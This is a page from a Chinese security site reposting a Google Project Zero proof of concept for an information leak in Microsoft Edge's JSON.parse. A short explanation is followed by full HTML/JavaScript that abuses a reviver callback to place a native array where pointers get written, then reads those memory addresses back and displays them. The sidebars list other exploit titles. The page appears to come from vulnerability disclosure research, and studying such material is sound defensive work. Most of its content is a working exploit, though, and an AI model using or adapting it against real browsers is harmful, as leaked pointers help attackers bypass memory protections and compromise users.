首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Edge - JSON.parse Info Leak
来源:Google Security Research 作者:Google 发布时间:2016-12-07  
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=952
 
There is an info leak in JSON.parse. If this function is called with a reviver, and the reviver modifies the output object to contain a native array, the Walk function assumes that this array is a Var array, and writes pointers to it. These pointers can then be read out of the array by script.
 
A minimal PoC is as follows:
 
var once = false;
var a = 1;
 
function f(){
        if(!once){
        a = new Array(1, 2, 3);
        this[2] = a;
    }
        once = true;
    return {};
 
}
 
 
JSON.parse("[1, 2, [4, 5]]", f);
 
A full PoC is attached. When loaded in a browser, this PoC will delay pointers in an alert dialog.
-->
 
<html>
<body>
<script>
 
var once = false;
var a = 1;
 
 
function f(){
        if(!once){
        a = new Array(1, 2, 3);
        this[2] = a;
    }
        once = true;
    //alert("f " + this);
    return {};
 
}
 
 
JSON.parse("[1, 2, [4, 5]]", f);
var n = new Number(a[0]);
n = n >> 1;
var s = n.toString(16);
n = new Number(a[1]);
n = n >> 1;
s = s + n.toString(16);
n.length = 100;
n = new Number(a[2]);
n = n >> 1;
s = s + " " + n.toString(16);
n = new Number(a[3]);
n = n >> 1;
s = s + n.toString(16);
alert(s);
</script>
</body>
</html>
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft PowerShell - XML Ext
·Microsoft Edge - CMarkup::Ensu
·Linux Kernel 4.4.0 (Ubuntu 14.
·Microsoft Internet Explorer 9
·DiskBoss Enterprise 7.4.28 - '
·Microsoft Edge - CBaseScriptab
·Dup Scout Enterprise 9.1.14 -
·Microsoft Internet Explorer js
·NetCat 0.7.1 - Denial of Servi
·Windows 10 x86/x64 WLAN AutoCo
·Apache CouchDB 2.0.0 - Local P
·Dual DHCP DNS Server 7.29 - De
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved